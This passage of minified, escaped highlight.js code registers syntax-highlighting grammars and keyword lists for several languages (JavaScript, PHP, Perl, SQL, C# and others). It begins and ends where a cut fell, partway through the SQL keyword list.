:[e.HCM,{b:e.UIR+\u0022\u005c\u005cs+{\u0022,rB:!0,e:\u0022{\u0022,c:[{cN:\u0022section\u0022,b:e.UIR}],r:0},{b:e.UIR+\u0022\u005c\u005cs\u0022,e:\u0022;|{\u0022,rB:!0,c:[{cN:\u0022attribute\u0022,b:e.UIR,starts:b}],r:0}],i:\u0022[^\u005c\u005cs\u005c\u005c}]\u0022}});hljs.registerLanguage(\u0022javascript\u0022,function(e){var r\u003d\u0022[A-Za-z$_][0-9A-Za-z$_]*\u0022,t\u003d{keyword:\u0022in of if for while finally var new function do return void else break catch instanceof with throw case default try this switch continue typeof delete let yield const export super debugger as async await static import from as\u0022,literal:\u0022true false null undefined NaN Infinity\u0022,built_in:\u0022eval isFinite isNaN parseFloat parseInt decodeURI decodeURIComponent encodeURI encodeURIComponent escape unescape Object Function Boolean Error EvalError InternalError RangeError ReferenceError StopIteration SyntaxError TypeError URIError Number Math Date String RegExp Array Float32Array Float64Array Int16Array Int32Array Int8Array Uint16Array Uint32Array Uint8Array Uint8ClampedArray ArrayBuffer DataView JSON Intl arguments require module console window document Symbol Set Map WeakSet WeakMap Proxy Reflect Promise\u0022},a\u003d{cN:\u0022number\u0022,v:[{b:\u0022\u005c\u005cb(0[bB][01]+)\u0022},{b:\u0022\u005c\u005cb(0[oO][0-7]+)\u0022},{b:e.CNR}],r:0},n\u003d{cN:\u0022subst\u0022,b:\u0022\u005c\u005c$\u005c\u005c{\u0022,e:\u0022\u005c\u005c}\u0022,k:t,c:[]},c\u003d{cN:\u0022string\u0022,b:\u0022`\u0022,e:\u0022`\u0022,c:[e.BE,n]};n.c\u003d[e.ASM,e.QSM,c,a,e.RM];var s\u003dn.c.concat([e.CBCM,e.CLCM]);return{aliases:[\u0022js\u0022,\u0022jsx\u0022],k:t,c:[{cN:\u0022meta\u0022,r:10,b:/^\u005cs*['\u0022]use (strict|asm)['\u0022]/},{cN:\u0022meta\u0022,b:/^#!/,e:/$/},e.ASM,e.QSM,c,e.CLCM,e.CBCM,a,{b:/[{,]\u005cs*/,r:0,c:[{b:r+\u0022\u005c\u005cs*:\u0022,rB:!0,r:0,c:[{cN:\u0022attr\u0022,b:r,r:0}]}]},{b:\u0022(\u0022+e.RSR+\u0022|\u005c\u005cb(case|return|throw)\u005c\u005cb)\u005c\u005cs*\u0022,k:\u0022return throw case\u0022,c:[e.CLCM,e.CBCM,e.RM,{cN:\u0022function\u0022,b:\u0022(\u005c\u005c(.*?\u005c\u005c)|\u0022+r+\u0022)\u005c\u005cs*\u003d\u003e\u0022,rB:!0,e:\u0022\u005c\u005cs*\u003d\u003e\u0022,c:[{cN:\u0022params\u0022,v:[{b:r},{b:/\u005c(\u005cs*\u005c)/},{b:/\u005c(/,e:/\u005c)/,eB:!0,eE:!0,k:t,c:s}]}]},{b:/\u003c/,e:/(\u005c/\u005cw+|\u005cw+\u005c/)\u003e/,sL:\u0022xml\u0022,c:[{b:/\u003c\u005cw+\u005cs*\u005c/\u003e/,skip:!0},{b:/\u003c\u005cw+/,e:/(\u005c/\u005cw+|\u005cw+\u005c/)\u003e/,skip:!0,c:[{b:/\u003c\u005cw+\u005cs*\u005c/\u003e/,skip:!0},\u0022self\u0022]}]}],r:0},{cN:\u0022function\u0022,bK:\u0022function\u0022,e:/\u005c{/,eE:!0,c:[e.inherit(e.TM,{b:r}),{cN:\u0022params\u0022,b:/\u005c(/,e:/\u005c)/,eB:!0,eE:!0,c:s}],i:/\u005c[|%/},{b:/\u005c$[(.]/},e.METHOD_GUARD,{cN:\u0022class\u0022,bK:\u0022class\u0022,e:/[{;\u003d]/,eE:!0,i:/[:\u0022\u005c[\u005c]]/,c:[{bK:\u0022extends\u0022},e.UTM]},{bK:\u0022constructor\u0022,e:/\u005c{/,eE:!0}],i:/#(?!!)/}});hljs.registerLanguage(\u0022makefile\u0022,function(e){var i\u003d{cN:\u0022variable\u0022,v:[{b:\u0022\u005c\u005c$\u005c\u005c(\u0022+e.UIR+\u0022\u005c\u005c)\u0022,c:[e.BE]},{b:/\u005c$[@%\u003c?\u005c^\u005c+\u005c*]/}]},r\u003d{cN:\u0022string\u0022,b:/\u0022/,e:/\u0022/,c:[e.BE,i]},a\u003d{cN:\u0022variable\u0022,b:/\u005c$\u005c([\u005cw-]+\u005cs/,e:/\u005c)/,k:{built_in:\u0022subst patsubst strip findstring filter filter-out sort word wordlist firstword lastword dir notdir suffix basename addsuffix addprefix join wildcard realpath abspath error warning shell origin flavor foreach if or and call eval file value\u0022},c:[i]},n\u003d{b:\u0022^\u0022+e.UIR+\u0022\u005c\u005cs*[:+?]?\u003d\u0022,i:\u0022\u005c\u005cn\u0022,rB:!0,c:[{b:\u0022^\u0022+e.UIR,e:\u0022[:+?]?\u003d\u0022,eE:!0}]},t\u003d{cN:\u0022meta\u0022,b:/^\u005c.PHONY:/,e:/$/,k:{\u0022meta-keyword\u0022:\u0022.PHONY\u0022},l:/[\u005c.\u005cw]+/},l\u003d{cN:\u0022section\u0022,b:/^[^\u005cs]+:/,e:/$/,c:[i]};return{aliases:[\u0022mk\u0022,\u0022mak\u0022],k:\u0022define endef undefine ifdef ifndef ifeq ifneq else endif include -include sinclude override export unexport private vpath\u0022,l:/[\u005cw-]+/,c:[e.HCM,i,r,a,n,t,l]}});hljs.registerLanguage(\u0022apache\u0022,function(e){var r\u003d{cN:\u0022number\u0022,b:\u0022[\u005c\u005c$%]\u005c\u005cd+\u0022};return{aliases:[\u0022apacheconf\u0022],cI:!0,c:[e.HCM,{cN:\u0022section\u0022,b:\u0022\u003c/?\u0022,e:\u0022\u003e\u0022},{cN:\u0022attribute\u0022,b:/\u005cw+/,r:0,k:{nomarkup:\u0022order deny allow setenv rewriterule rewriteengine rewritecond documentroot sethandler errordocument loadmodule options header listen serverroot servername\u0022},starts:{e:/$/,r:0,k:{literal:\u0022on off all\u0022},c:[{cN:\u0022meta\u0022,b:\u0022\u005c\u005cs\u005c\u005c[\u0022,e:\u0022\u005c\u005c]$\u0022},{cN:\u0022variable\u0022,b:\u0022[\u005c\u005c$%]\u005c\u005c{\u0022,e:\u0022\u005c\u005c}\u0022,c:[\u0022self\u0022,r]},r,e.QSM]}}],i:/\u005cS/}});hljs.registerLanguage(\u0022php\u0022,function(e){var c\u003d{b:\u0022\u005c\u005c$+[a-zA-Z_-ÿ][a-zA-Z0-9_-ÿ]*\u0022},i\u003d{cN:\u0022meta\u0022,b:/\u003c\u005c?(php)?|\u005c?\u003e/},t\u003d{cN:\u0022string\u0022,c:[e.BE,i],v:[{b:'b\u0022',e:'\u0022'},{b:\u0022b'\u0022,e:\u0022'\u0022},e.inherit(e.ASM,{i:null}),e.inherit(e.QSM,{i:null})]},a\u003d{v:[e.BNM,e.CNM]};return{aliases:[\u0022php3\u0022,\u0022php4\u0022,\u0022php5\u0022,\u0022php6\u0022],cI:!0,k:\u0022and include_once list abstract global private echo interface as static endswitch array null if endwhile or const for endforeach self var while isset public protected exit foreach throw elseif include __FILE__ empty require_once do xor return parent clone use __CLASS__ __LINE__ else break print eval new catch __METHOD__ case exception default die require __FUNCTION__ enddeclare final try switch continue endfor endif declare unset true false trait goto instanceof insteadof __DIR__ __NAMESPACE__ yield finally\u0022,c:[e.HCM,e.C(\u0022//\u0022,\u0022$\u0022,{c:[i]}),e.C(\u0022/\u005c\u005c*\u0022,\u0022\u005c\u005c*/\u0022,{c:[{cN:\u0022doctag\u0022,b:\u0022@[A-Za-z]+\u0022}]}),e.C(\u0022__halt_compiler.+?;\u0022,!1,{eW:!0,k:\u0022__halt_compiler\u0022,l:e.UIR}),{cN:\u0022string\u0022,b:/\u003c\u003c\u003c['\u0022]?\u005cw+['\u0022]?$/,e:/^\u005cw+;?$/,c:[e.BE,{cN:\u0022subst\u0022,v:[{b:/\u005c$\u005cw+/},{b:/\u005c{\u005c$/,e:/\u005c}/}]}]},i,{cN:\u0022keyword\u0022,b:/\u005c$this\u005cb/},c,{b:/(::|-\u003e)+[a-zA-Z_\u005cx7f-\u005cxff][a-zA-Z0-9_\u005cx7f-\u005cxff]*/},{cN:\u0022function\u0022,bK:\u0022function\u0022,e:/[;{]/,eE:!0,i:\u0022\u005c\u005c$|\u005c\u005c[|%\u0022,c:[e.UTM,{cN:\u0022params\u0022,b:\u0022\u005c\u005c(\u0022,e:\u0022\u005c\u005c)\u0022,c:[\u0022self\u0022,c,e.CBCM,t,a]}]},{cN:\u0022class\u0022,bK:\u0022class interface\u0022,e:\u0022{\u0022,eE:!0,i:/[:\u005c(\u005c$\u0022]/,c:[{bK:\u0022extends implements\u0022},e.UTM]},{bK:\u0022namespace\u0022,e:\u0022;\u0022,i:/[\u005c.']/,c:[e.UTM]},{bK:\u0022use\u0022,e:\u0022;\u0022,c:[e.UTM]},{b:\u0022\u003d\u003e\u0022},t,a]}});hljs.registerLanguage(\u0022perl\u0022,function(e){var t\u003d\u0022getpwent getservent quotemeta msgrcv scalar kill dbmclose undef lc ma syswrite tr send umask sysopen shmwrite vec qx utime local oct semctl localtime readpipe do return format read sprintf dbmopen pop getpgrp not getpwnam rewinddir qqfileno qw endprotoent wait sethostent bless s|0 opendir continue each sleep endgrent shutdown dump chomp connect getsockname die socketpair close flock exists index shmgetsub for endpwent redo lstat msgctl setpgrp abs exit select print ref gethostbyaddr unshift fcntl syscall goto getnetbyaddr join gmtime symlink semget splice x|0 getpeername recv log setsockopt cos last reverse gethostbyname getgrnam study formline endhostent times chop length gethostent getnetent pack getprotoent getservbyname rand mkdir pos chmod y|0 substr endnetent printf next open msgsnd readdir use unlink getsockopt getpriority rindex wantarray hex system getservbyport endservent int chr untie rmdir prototype tell listen fork shmread ucfirst setprotoent else sysseek link getgrgid shmctl waitpid unpack getnetbyname reset chdir grep split require caller lcfirst until warn while values shift telldir getpwuid my getprotobynumber delete and sort uc defined srand accept package seekdir getprotobyname semop our rename seek if q|0 chroot sysread setpwent no crypt getc chown sqrt write setnetent setpriority foreach tie sin msgget map stat getlogin unless elsif truncate exec keys glob tied closedirioctl socket readlink eval xor readline binmode setservent eof ord bind alarm pipe atan2 getgrent exp time push setgrent gt lt or ne m|0 break given say state when\u0022,r\u003d{cN:\u0022subst\u0022,b:\u0022[$@]\u005c\u005c{\u0022,e:\u0022\u005c\u005c}\u0022,k:t},s\u003d{b:\u0022-\u003e{\u0022,e:\u0022}\u0022},n\u003d{v:[{b:/\u005c$\u005cd/},{b:/[\u005c$%@](\u005c^\u005cw\u005cb|#\u005cw+(::\u005cw+)*|{\u005cw+}|\u005cw+(::\u005cw*)*)/},{b:/[\u005c$%@][^\u005cs\u005cw{]/,r:0}]},i\u003d[e.BE,r,n],o\u003d[n,e.HCM,e.C(\u0022^\u005c\u005c\u003d\u005c\u005cw\u0022,\u0022\u005c\u005c\u003dcut\u0022,{eW:!0}),s,{cN:\u0022string\u0022,c:i,v:[{b:\u0022q[qwxr]?\u005c\u005cs*\u005c\u005c(\u0022,e:\u0022\u005c\u005c)\u0022,r:5},{b:\u0022q[qwxr]?\u005c\u005cs*\u005c\u005c[\u0022,e:\u0022\u005c\u005c]\u0022,r:5},{b:\u0022q[qwxr]?\u005c\u005cs*\u005c\u005c{\u0022,e:\u0022\u005c\u005c}\u0022,r:5},{b:\u0022q[qwxr]?\u005c\u005cs*\u005c\u005c|\u0022,e:\u0022\u005c\u005c|\u0022,r:5},{b:\u0022q[qwxr]?\u005c\u005cs*\u005c\u005c\u003c\u0022,e:\u0022\u005c\u005c\u003e\u0022,r:5},{b:\u0022qw\u005c\u005cs+q\u0022,e:\u0022q\u0022,r:5},{b:\u0022'\u0022,e:\u0022'\u0022,c:[e.BE]},{b:'\u0022',e:'\u0022'},{b:\u0022`\u0022,e:\u0022`\u0022,c:[e.BE]},{b:\u0022{\u005c\u005cw+}\u0022,c:[],r:0},{b:\u0022-?\u005c\u005cw+\u005c\u005cs*\u005c\u005c\u003d\u005c\u005c\u003e\u0022,c:[],r:0}]},{cN:\u0022number\u0022,b:\u0022(\u005c\u005cb0[0-7_]+)|(\u005c\u005cb0x[0-9a-fA-F_]+)|(\u005c\u005cb[1-9][0-9_]*(\u005c\u005c.[0-9_]+)?)|[0_]\u005c\u005cb\u0022,r:0},{b:\u0022(\u005c\u005c/\u005c\u005c/|\u0022+e.RSR+\u0022|\u005c\u005cb(split|return|print|reverse|grep)\u005c\u005cb)\u005c\u005cs*\u0022,k:\u0022split return print reverse grep\u0022,r:0,c:[e.HCM,{cN:\u0022regexp\u0022,b:\u0022(s|tr|y)/(\u005c\u005c\u005c\u005c.|[^/])*/(\u005c\u005c\u005c\u005c.|[^/])*/[a-z]*\u0022,r:10},{cN:\u0022regexp\u0022,b:\u0022(m|qr)?/\u0022,e:\u0022/[a-z]*\u0022,c:[e.BE],r:0}]},{cN:\u0022function\u0022,bK:\u0022sub\u0022,e:\u0022(\u005c\u005cs*\u005c\u005c(.*?\u005c\u005c))?[;{]\u0022,eE:!0,r:5,c:[e.TM]},{b:\u0022-\u005c\u005cw\u005c\u005cb\u0022,r:0},{b:\u0022^__DATA__$\u0022,e:\u0022^__END__$\u0022,sL:\u0022mojolicious\u0022,c:[{b:\u0022^@@.*\u0022,e:\u0022$\u0022,cN:\u0022comment\u0022}]}];return r.c\u003do,s.c\u003do,{aliases:[\u0022pl\u0022,\u0022pm\u0022],l:/[\u005cw\u005c.]+/,k:t,c:o}});hljs.registerLanguage(\u0022objectivec\u0022,function(e){var t\u003d{cN:\u0022built_in\u0022,b:\u0022\u005c\u005cb(AV|CA|CF|CG|CI|CL|CM|CN|CT|MK|MP|MTK|MTL|NS|SCN|SK|UI|WK|XC)\u005c\u005cw+\u0022},_\u003d{keyword:\u0022int float while char export sizeof typedef const struct for union unsigned long volatile static bool mutable if do return goto void enum else break extern asm case short default double register explicit signed typename this switch continue wchar_t inline readonly assign readwrite self @synchronized id typeof nonatomic super unichar IBOutlet IBAction strong weak copy in out inout bycopy byref oneway __strong __weak __block __autoreleasing @private @protected @public @try @property @end @throw @catch @finally @autoreleasepool @synthesize @dynamic @selector @optional @required @encode @package @import @defs @compatibility_alias __bridge __bridge_transfer __bridge_retained __bridge_retain __covariant __contravariant __kindof _Nonnull _Nullable _Null_unspecified __FUNCTION__ __PRETTY_FUNCTION__ __attribute__ getter setter retain unsafe_unretained nonnull nullable null_unspecified null_resettable class instancetype NS_DESIGNATED_INITIALIZER NS_UNAVAILABLE NS_REQUIRES_SUPER NS_RETURNS_INNER_POINTER NS_INLINE NS_AVAILABLE NS_DEPRECATED NS_ENUM NS_OPTIONS NS_SWIFT_UNAVAILABLE NS_ASSUME_NONNULL_BEGIN NS_ASSUME_NONNULL_END NS_REFINED_FOR_SWIFT NS_SWIFT_NAME NS_SWIFT_NOTHROW NS_DURING NS_HANDLER NS_ENDHANDLER NS_VALUERETURN NS_VOIDRETURN\u0022,literal:\u0022false true FALSE TRUE nil YES NO NULL\u0022,built_in:\u0022BOOL dispatch_once_t dispatch_queue_t dispatch_sync dispatch_async dispatch_once\u0022},i\u003d/[a-zA-Z@][a-zA-Z0-9_]*/,n\u003d\u0022@interface @class @protocol @implementation\u0022;return{aliases:[\u0022mm\u0022,\u0022objc\u0022,\u0022obj-c\u0022],k:_,l:i,i:\u0022\u003c/\u0022,c:[t,e.CLCM,e.CBCM,e.CNM,e.QSM,{cN:\u0022string\u0022,v:[{b:'@\u0022',e:'\u0022',i:\u0022\u005c\u005cn\u0022,c:[e.BE]},{b:\u0022'\u0022,e:\u0022[^\u005c\u005c\u005c\u005c]'\u0022,i:\u0022[^\u005c\u005c\u005c\u005c][^']\u0022}]},{cN:\u0022meta\u0022,b:\u0022#\u0022,e:\u0022$\u0022,c:[{cN:\u0022meta-string\u0022,v:[{b:'\u0022',e:'\u0022'},{b:\u0022\u003c\u0022,e:\u0022\u003e\u0022}]}]},{cN:\u0022class\u0022,b:\u0022(\u0022+n.split(\u0022 \u0022).join(\u0022|\u0022)+\u0022)\u005c\u005cb\u0022,e:\u0022({|$)\u0022,eE:!0,k:n,l:i,c:[e.UTM]},{b:\u0022\u005c\u005c.\u0022+e.UIR,r:0}]}});hljs.registerLanguage(\u0022xml\u0022,function(s){var e\u003d\u0022[A-Za-z0-9\u005c\u005c._:-]+\u0022,t\u003d{eW:!0,i:/\u003c/,r:0,c:[{cN:\u0022attr\u0022,b:e,r:0},{b:/\u003d\u005cs*/,r:0,c:[{cN:\u0022string\u0022,endsParent:!0,v:[{b:/\u0022/,e:/\u0022/},{b:/'/,e:/'/},{b:/[^\u005cs\u0022'\u003d\u003c\u003e`]+/}]}]}]};return{aliases:[\u0022html\u0022,\u0022xhtml\u0022,\u0022rss\u0022,\u0022atom\u0022,\u0022xjb\u0022,\u0022xsd\u0022,\u0022xsl\u0022,\u0022plist\u0022],cI:!0,c:[{cN:\u0022meta\u0022,b:\u0022\u003c!DOCTYPE\u0022,e:\u0022\u003e\u0022,r:10,c:[{b:\u0022\u005c\u005c[\u0022,e:\u0022\u005c\u005c]\u0022}]},s.C(\u0022\u003c!--\u0022,\u0022--\u003e\u0022,{r:10}),{b:\u0022\u003c\u005c\u005c!\u005c\u005c[CDATA\u005c\u005c[\u0022,e:\u0022\u005c\u005c]\u005c\u005c]\u003e\u0022,r:10},{b:/\u003c\u005c?(php)?/,e:/\u005c?\u003e/,sL:\u0022php\u0022,c:[{b:\u0022/\u005c\u005c*\u0022,e:\u0022\u005c\u005c*/\u0022,skip:!0}]},{cN:\u0022tag\u0022,b:\u0022\u003cstyle(?\u003d\u005c\u005cs|\u003e|$)\u0022,e:\u0022\u003e\u0022,k:{name:\u0022style\u0022},c:[t],starts:{e:\u0022\u003c/style\u003e\u0022,rE:!0,sL:[\u0022css\u0022,\u0022xml\u0022]}},{cN:\u0022tag\u0022,b:\u0022\u003cscript(?\u003d\u005c\u005cs|\u003e|$)\u0022,e:\u0022\u003e\u0022,k:{name:\u0022script\u0022},c:[t],starts:{e:\u0022\u003c/script\u003e\u0022,rE:!0,sL:[\u0022actionscript\u0022,\u0022javascript\u0022,\u0022handlebars\u0022,\u0022xml\u0022]}},{cN:\u0022meta\u0022,v:[{b:/\u003c\u005c?xml/,e:/\u005c?\u003e/,r:10},{b:/\u003c\u005c?\u005cw+/,e:/\u005c?\u003e/}]},{cN:\u0022tag\u0022,b:\u0022\u003c/?\u0022,e:\u0022/?\u003e\u0022,c:[{cN:\u0022name\u0022,b:/[^\u005c/\u003e\u003c\u005cs]+/,r:0},t]}]}});hljs.registerLanguage(\u0022markdown\u0022,function(e){return{aliases:[\u0022md\u0022,\u0022mkdown\u0022,\u0022mkd\u0022],c:[{cN:\u0022section\u0022,v:[{b:\u0022^#{1,6}\u0022,e:\u0022$\u0022},{b:\u0022^.+?\u005c\u005cn[\u003d-]{2,}$\u0022}]},{b:\u0022\u003c\u0022,e:\u0022\u003e\u0022,sL:\u0022xml\u0022,r:0},{cN:\u0022bullet\u0022,b:\u0022^([*+-]|(\u005c\u005cd+\u005c\u005c.))\u005c\u005cs+\u0022},{cN:\u0022strong\u0022,b:\u0022[*_]{2}.+?[*_]{2}\u0022},{cN:\u0022emphasis\u0022,v:[{b:\u0022\u005c\u005c*.+?\u005c\u005c*\u0022},{b:\u0022_.+?_\u0022,r:0}]},{cN:\u0022quote\u0022,b:\u0022^\u003e\u005c\u005cs+\u0022,e:\u0022$\u0022},{cN:\u0022code\u0022,v:[{b:\u0022^```w*s*$\u0022,e:\u0022^```s*$\u0022},{b:\u0022`.+?`\u0022},{b:\u0022^( {4}|\t)\u0022,e:\u0022$\u0022,r:0}]},{b:\u0022^[-\u005c\u005c*]{3,}\u0022,e:\u0022$\u0022},{b:\u0022\u005c\u005c[.+?\u005c\u005c][\u005c\u005c(\u005c\u005c[].*?[\u005c\u005c)\u005c\u005c]]\u0022,rB:!0,c:[{cN:\u0022string\u0022,b:\u0022\u005c\u005c[\u0022,e:\u0022\u005c\u005c]\u0022,eB:!0,rE:!0,r:0},{cN:\u0022link\u0022,b:\u0022\u005c\u005c]\u005c\u005c(\u0022,e:\u0022\u005c\u005c)\u0022,eB:!0,eE:!0},{cN:\u0022symbol\u0022,b:\u0022\u005c\u005c]\u005c\u005c[\u0022,e:\u0022\u005c\u005c]\u0022,eB:!0,eE:!0}],r:10},{b:/^\u005c[[^\u005cn]+\u005c]:/,rB:!0,c:[{cN:\u0022symbol\u0022,b:/\u005c[/,e:/\u005c]/,eB:!0,eE:!0},{cN:\u0022link\u0022,b:/:\u005cs*/,e:/$/,eB:!0}]}]}});hljs.registerLanguage(\u0022diff\u0022,function(e){return{aliases:[\u0022patch\u0022],c:[{cN:\u0022meta\u0022,r:10,v:[{b:/^@@ +\u005c-\u005cd+,\u005cd+ +\u005c+\u005cd+,\u005cd+ +@@$/},{b:/^\u005c*\u005c*\u005c* +\u005cd+,\u005cd+ +\u005c*\u005c*\u005c*\u005c*$/},{b:/^\u005c-\u005c-\u005c- +\u005cd+,\u005cd+ +\u005c-\u005c-\u005c-\u005c-$/}]},{cN:\u0022comment\u0022,v:[{b:/Index: /,e:/$/},{b:/\u003d{3,}/,e:/$/},{b:/^\u005c-{3}/,e:/$/},{b:/^\u005c*{3} /,e:/$/},{b:/^\u005c+{3}/,e:/$/},{b:/\u005c*{5}/,e:/\u005c*{5}$/}]},{cN:\u0022addition\u0022,b:\u0022^\u005c\u005c+\u0022,e:\u0022$\u0022},{cN:\u0022deletion\u0022,b:\u0022^\u005c\u005c-\u0022,e:\u0022$\u0022},{cN:\u0022addition\u0022,b:\u0022^\u005c\u005c!\u0022,e:\u0022$\u0022}]}});hljs.registerLanguage(\u0022cs\u0022,function(e){var i\u003d{keyword:\u0022abstract as base bool break byte case catch char checked const continue decimal default delegate do double enum event explicit extern finally fixed float for foreach goto if implicit in int interface internal is lock long nameof object operator out override params private protected public readonly ref sbyte sealed short sizeof stackalloc static string struct switch this try typeof uint ulong unchecked unsafe ushort using virtual void volatile while add alias ascending async await by descending dynamic equals from get global group into join let on orderby partial remove select set value var where yield\u0022,literal:\u0022null false true\u0022},t\u003d{cN:\u0022string\u0022,b:'@\u0022',e:'\u0022',c:[{b:'\u0022\u0022'}]},r\u003de.inherit(t,{i:/\u005cn/}),a\u003d{cN:\u0022subst\u0022,b:\u0022{\u0022,e:\u0022}\u0022,k:i},c\u003de.inherit(a,{i:/\u005cn/}),n\u003d{cN:\u0022string\u0022,b:/\u005c$\u0022/,e:'\u0022',i:/\u005cn/,c:[{b:\u0022{{\u0022},{b:\u0022}}\u0022},e.BE,c]},s\u003d{cN:\u0022string\u0022,b:/\u005c$@\u0022/,e:'\u0022',c:[{b:\u0022{{\u0022},{b:\u0022}}\u0022},{b:'\u0022\u0022'},a]},o\u003de.inherit(s,{i:/\u005cn/,c:[{b:\u0022{{\u0022},{b:\u0022}}\u0022},{b:'\u0022\u0022'},c]});a.c\u003d[s,n,t,e.ASM,e.QSM,e.CNM,e.CBCM],c.c\u003d[o,n,r,e.ASM,e.QSM,e.CNM,e.inherit(e.CBCM,{i:/\u005cn/})];var l\u003d{v:[s,n,t,e.ASM,e.QSM]},b\u003de.IR+\u0022(\u003c\u0022+e.IR+\u0022(\u005c\u005cs*,\u005c\u005cs*\u0022+e.IR+\u0022)*\u003e)?(\u005c\u005c[\u005c\u005c])?\u0022;return{aliases:[\u0022csharp\u0022],k:i,i:/::/,c:[e.C(\u0022///\u0022,\u0022$\u0022,{rB:!0,c:[{cN:\u0022doctag\u0022,v:[{b:\u0022///\u0022,r:0},{b:\u0022\u003c!--|--\u003e\u0022},{b:\u0022\u003c/?\u0022,e:\u0022\u003e\u0022}]}]}),e.CLCM,e.CBCM,{cN:\u0022meta\u0022,b:\u0022#\u0022,e:\u0022$\u0022,k:{\u0022meta-keyword\u0022:\u0022if else elif endif define undef warning error line region endregion pragma checksum\u0022}},l,e.CNM,{bK:\u0022class interface\u0022,e:/[{;\u003d]/,i:/[^\u005cs:]/,c:[e.TM,e.CLCM,e.CBCM]},{bK:\u0022namespace\u0022,e:/[{;\u003d]/,i:/[^\u005cs:]/,c:[e.inherit(e.TM,{b:\u0022[a-zA-Z](\u005c\u005c.?\u005c\u005cw)*\u0022}),e.CLCM,e.CBCM]},{cN:\u0022meta\u0022,b:\u0022^\u005c\u005cs*\u005c\u005c[\u0022,eB:!0,e:\u0022\u005c\u005c]\u0022,eE:!0,c:[{cN:\u0022meta-string\u0022,b:/\u0022/,e:/\u0022/}]},{bK:\u0022new return throw await else\u0022,r:0},{cN:\u0022function\u0022,b:\u0022(\u0022+b+\u0022\u005c\u005cs+)+\u0022+e.IR+\u0022\u005c\u005cs*\u005c\u005c(\u0022,rB:!0,e:/[{;\u003d]/,eE:!0,k:i,c:[{b:e.IR+\u0022\u005c\u005cs*\u005c\u005c(\u0022,rB:!0,c:[e.TM],r:0},{cN:\u0022params\u0022,b:/\u005c(/,e:/\u005c)/,eB:!0,eE:!0,k:i,r:0,c:[l,e.CNM,e.CBCM]},e.CLCM,e.CBCM]}]}});hljs.registerLanguage(\u0022sql\u0022,function(e){var t\u003de.C(\u0022--\u0022,\u0022$\u0022);return{cI:!0,i:/[\u003c\u003e{}*#]/,c:[{bK:\u0022begin end start commit rollback savepoint lock alter create drop rename call delete do handler insert load replace select truncate update set show pragma grant merge describe use explain help declare prepare execute deallocate release unlock purge reset change stop analyze cache flush optimize repair kill install uninstall checksum restore check backup revoke comment\u0022,e:/;/,eW:!0,l:/[\u005cw\u005c.]+/,k:{keyword:\u0022abort abs absolute acc acce accep accept access accessed accessible account acos action activate add addtime admin administer advanced advise aes_decrypt aes_encrypt after agent aggregate ali alia alias allocate allow alter always analyze ancillary and any anydata anydataset anyschema anytype apply archive archived archivelog are as asc ascii asin assembly assertion associate asynchronous at atan atn2 attr attri attrib attribu attribut attribute attributes audit authenticated authentication authid authors auto autoallocate autodblink autoextend automatic availability avg backup badfile basicfile before begin beginning benchmark between bfile bfile_base big bigfile bin binary_double binary_float binlog bit_and bit_count bit_length bit_or bit_xor bitmap blob_base block blocksize body both bound buffer_cache buffer_pool build bulk by byte byteordermark bytes cache caching call calling cancel capacity cascade cascaded case cast catalog category ceil ceiling chain change changed char_base char_length character_length characters characterset charindex charset charsetform charsetid check checksum checksum_agg child choose chr chunk class cleanup clear client clob clob_base clone close cluster_id cluster_probability cluster_set clustering coalesce coercibility col collate collation collect colu colum column column_value columns columns_updated comment commit compact compatibility compiled complete composite_limit compound compress compute concat concat_ws concurrent confirm conn connec connect connect_by_iscycle connect_by_isleaf connect_by_root connect_time connection consider consistent constant constraint constraints constructor container content contents context contributors controlfile conv convert convert_tz corr corr_k corr_s corresponding corruption cos cost count count_big counted covar_pop covar_samp cpu_per_call cpu_per_session crc32 create creation critical cross cube cume_dist curdate current current_date current_time current_timestamp current_user cursor curtime customdatum cycle data database databases datafile datafiles datalength date_add date_cache date_format date_sub dateadd datediff datefromparts datename datepart datetime2fromparts day day_to_second dayname dayofmonth dayofweek dayofyear days db_role_change dbtimezone ddl deallocate declare decode decompose decrement decrypt deduplicate def defa defau defaul default defaults deferred defi defin define degrees delayed delegate delete delete_all delimited demand dense_rank depth dequeue des_decrypt des_encrypt des_key_file desc descr descri describ describe descriptor deterministic diagnostics difference dimension direct_load directory disable disable_all disallow disassociate discardfile disconnect diskgroup distinct distinctrow distribute distributed div do document domain dotnet double downgrade drop dumpfile duplicate duration each edition editionable editions element ellipsis else elsif elt empty enable enable_all enclosed encode encoding encrypt end end-exec endian enforced engine engines enqueue enterprise entityescaping eomonth error errors escaped evalname evaluate event eventdata events except exception exceptions exchange exclude excluding execu execut execute exempt exists exit exp expire explain export export_set extended extent external external_1 external_2 externally extract failed failed_login_attempts failover failure far fast feature_set feature_value fetch field fields file file_name_convert filesystem_like_logging final finish first first_value fixed flash_cache flashback floor flush following follows for forall force form forma format found found_rows freelist freelists freepools fresh from from_base64 from_days ftp full function general generated get get_format get_lock getdate getutcdate global global_name globally go goto grant grants greatest group group_concat group_id grouping grouping_id groups gtid_subtract guarantee guard handler hash hashkeys having hea head headi headin heading heap help hex hierarchy high high_priority hosts hour http id ident_current ident_incr ident_seed identified identity idle_time if ifnull ignore iif ilike ilm immediate import in include including increment index indexes indexing indextype indicator indices inet6_aton inet6_ntoa inet_aton inet_ntoa infile initial initialized initially initrans inmemory inner innodb input insert install instance instantiable instr interface interleaved intersect into invalidate invisible is is_free_lock is_ipv4 is_ipv4_compat is_not is_not_null is_used_lock isdate isnull isolation iterate java join json json_exists keep keep_duplicates key keys kill language large last last_day last_insert_id last_value lax lcase lead leading least leaves left len lenght length less level levels library like like2 like4 likec limit lines link list listagg little ln load load_file lob lobs local localtime localtimestamp locate locator lock locked log log10 log2 logfile logfiles logging logical logical_reads_per_call logoff logon logs long loop low low_priority lower lpad lrtrim ltrim main make_set makedate maketime managed management manual map mapping mask master master_pos_wait match matched materialized max maxextents maximize maxinstances maxlen maxlogfiles maxloghistory maxlogmembers maxsize maxtrans md5 measures median medium member memcompress memory merge microsecond mid migration min minextents minimum mining minus minute minvalue missing mod mode model modification modify module monitoring month months mount move movement multiset mutex name name_const names nan national native natural nav nchar nclob nested never new newline next nextval no no_write_to_binlog noarchivelog noaudit nobadfile nocheck nocompress nocopy nocycle nodelay nodiscardfile noentityescaping noguarantee nokeep nologfile nomapping nomaxvalue nominimize nominvalue nomonitoring none noneditionable nonschema noorder nopr nopro noprom nopromp noprompt norely noresetlogs noreverse normal norowdependencies noschemacheck noswitch not nothing notice notrim novalidate now nowait nth_value nullif nulls num numb numbe nvarchar nvarchar2 object ocicoll ocidate ocidatetime ociduration ociinterval ociloblocator ocinumber ociref ocirefcursor ocirowid ocistring ocitype oct octet_length of off offline offset oid oidindex old on online only opaque open operations operator optimal optimize option optionally or 